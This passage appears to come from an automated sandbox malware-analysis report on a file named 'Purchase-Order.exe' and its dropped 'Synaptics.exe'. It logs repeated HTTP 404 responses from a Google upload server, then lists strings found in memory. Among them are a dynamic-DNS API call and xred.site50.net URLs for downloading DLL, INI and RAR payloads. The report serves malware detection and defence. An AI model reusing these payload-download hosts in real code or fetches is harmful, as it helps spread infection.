Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC75xbiWMjEFo4LnNuqjCdwgNGhlstEdyunEUnfksHzV7HD0LUL7MIZFZprkhY3iNvL7Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:40 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-C1PQ37m89qgupSli_I4tdg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5ddwSz1n9cFYO48_uU0h_Oo2xzHlLpAVZ74mUoWiKyP8siUmFt_dejRIIVA0nVEEI7Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:41 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-XkImY6AcuvjsWxy6i5yxog' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5sfNht_Xgj8Skt3ecnB5ehCtj0dpSNV1RJMtu5Ho2YMz10zI-hZ-_UeQvir7z_tyM0Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:42 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-jvKgAxoGu4nzoSNOcSC3xQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6pUfaABfSf-dWJQPK2vJY5O7CRVTO_oha7Ie9UtuJsSvhoP-2ye2qRivOVVAvS1V0-Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:42 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-_qIszDJOIafS9uB8gXbX9w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4EeF-KrlMOU9fGRZxADd7nQtrjV417swGGXq2FU78XiAgvi8h3jtI_s6r2RRjcGyZCContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:43 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-OYVMft4xVuAUdjglJ3757A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4hn1FypM29I7uCClVzaaszvZD6YjmWWWZZCc1gxMrYK2Ii0CYa14NEFnStfdHFxrTUN4pC6moContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:43 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-CnrwgvWnHHSQySYVgCY8qg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4iFNWjIpBJ5A5wFwyzI-pGuMBdDv0IadvCh2B1SaF4bkx8eDsnsHQxavreg3vVrwfSlJKkbLIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:44 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-LJjxbF4df3IE3FxXn5tcSQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5OTPqJSltHH2q0f2QyzDjLuBql1p-TDKxKkSZxcM6VAE2d1KE7xiYQDeTvzwddej6kContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:45 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-dxh8pzbfFLgOrT2XAyvRNw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5jN4wL6VewaazZlXdBvLBlNNXgOwkK5BtVY7ELBWRxugedVxed0OdTvW_Az7nwGnkGContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:45 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-_7Fd55M6k3GJbJ4x2TRZ_A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC77TAfZKpoDa9jk5LOYmLWvA5i5Bu-TeB2h0xWdBzgO1B4_K6L0ayyI0NT4hzRxHifxUrjS5N8Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:46 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-oL4U9pDC2rpmol0N_EQOcQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC54GHNv5UpbYikuRBhJT6dzKribGhwtXrc4hvOIjGnfs0SbaupCCwa0IGSJLP-XTtElKoN4tbkContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:46 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-rshwtkVgrI2koWY4qBhkUQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5hxAFSQKQtXYvHqU1dFPJERLkTGPGad0XXFicujN1_l-qF3BKC1A4tWWdJ07K3w-0MNT2GeMMContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:47 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-6db4qPrBQ7WesfVnljSeRQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5O4K-1yuiL1ULwxijJy9vUSm5CjrfkkQvY2b6bWpDv_fHrb-93fjYEbOOWbPPkjtOyContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:47 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-bImzyJwifhjMJI0VkXlryw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6i0uDz6ULFQ2nzidyWP4E6HQl4WZV4jCp5Pc2zFkhaeehEhbUZSfvzpqfuqDBtY-FABL-GWWcContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:49 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-KUp8e_coqwTHb1q_-9755g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5Jk-AatxyLMOJZMJSQFZE2gHRvw1wpWBm0yV8qa5c0R4rMRDRmmDBw7U3gvXBMKXdlpNJg9BAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:49 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-teNep-um0upWYCl89XGQJw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5XslNffvXI3IQCT7eTUdE7ArAmVrXPCEvk1OIQq3xvdxOLhxj8g0AB8PRbFTg1AEJgContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:50 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-NoTQsnBwe-FXu2StGj8ZbQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7LaAi9ydFuxNwXWRtWJkR9KOqytyrPztE2P3wFsfCb-VL8XKCYGK2uw_-HKKECb16pContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:50 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-WoBB568VOZb7u_qxOncsew' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5b67wufCf0DFP-KksY4MPQorgThrOM0O7_BaxYjHQcZWpIwIaCcKzfKIcJMuOx3brLContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:51 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-mpI_qCjIvtVGFI7gUpZVUA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close

Source: Purchase-Order.exe, 00000000.00000000.1695406203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2956093270.0000000002220000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1779135345.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
Source: Purchase-Order.exe, 00000000.00000003.1704969935.0000000002490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978h
Source: Purchase-Order.exe, 00000000.00000003.1704969935.0000000002490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dl4
Source: Purchase-Order.exe, 00000000.00000000.1695406203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000002.00000002.2956093270.0000000002220000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1779135345.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll
Source: Purchase-Order.exe, 00000000.00000000.1695406203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000002.00000002.2956093270.0000000002220000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1779135345.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SUpdate.ini
Source: Purchase-Order.exe, 00000000.00000000.1695406203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000002.00000002.2956093270.0000000002220000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1779135345.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rar
Source: Purchase-Order.exe, 00000000.00000003.1704969935.0000000002490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rarX
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.
Source: Synaptics.exe, 00000002.00000002.2953651739.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3012495090.000000001D481000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3075003681.000000003B278000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: Synaptics.exe, 00000002.00000002.3076603001.000000003B2BD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3075003681.000000003B278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/a
Source: Synaptics.exe, 00000002.00000002.3097715360.0000000042BCE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3116678595.000000004D7FE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0;
